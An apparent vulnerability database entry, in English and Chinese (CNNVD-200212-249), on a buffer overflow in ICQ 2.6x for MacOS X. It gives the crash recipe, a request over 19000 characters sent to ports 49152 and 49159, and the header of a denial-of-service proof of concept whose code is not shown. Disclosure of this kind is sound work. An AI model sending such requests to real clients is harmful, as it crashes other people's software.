[原文]Buffer overflow in ICQ 2.6x for MacOS X 10.0 through 10.1.2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long request.

[CNNVD]ICQ For MacOS X Client服务拒绝漏洞(CNNVD-200212-249)

        MacOS X 从10.0到10.1.2版本中的ICQ 2.6x存在缓冲区溢出漏洞。远程攻击者可以通过超长请求导致服务拒绝和可能执行任意代码。

ICQ For MacOS X is a port of the popular Mirabilis ICQ client to the Apple MacOS X platform. It is freely available.

It is possible to cause MacOS X ICQ clients to crash by sending an excessively long request (19000+ characters). MacOS X ICQ clients normally bind to ports 49152 and 49159.

This is likely due to an unchecked buffer of some sort, so the possibility of exploiting this condition to execute arbitrary attacker-supplied instructions does exist. Though this possibility has not been confirmed.

This issue has been reported for ICQ For MacOS X version 2.6X Beta. Other versions may also be prone to this issue. 

 * OSX ICQ Dos.
 * Proof of concept. Worked on early versions of Licq. Now it apparently works
 * for various versions of OSX ICQ clients.
 * Tested and works on: ICQ MacOSX Ver 2.6x Beta Build 7
 * and several others.
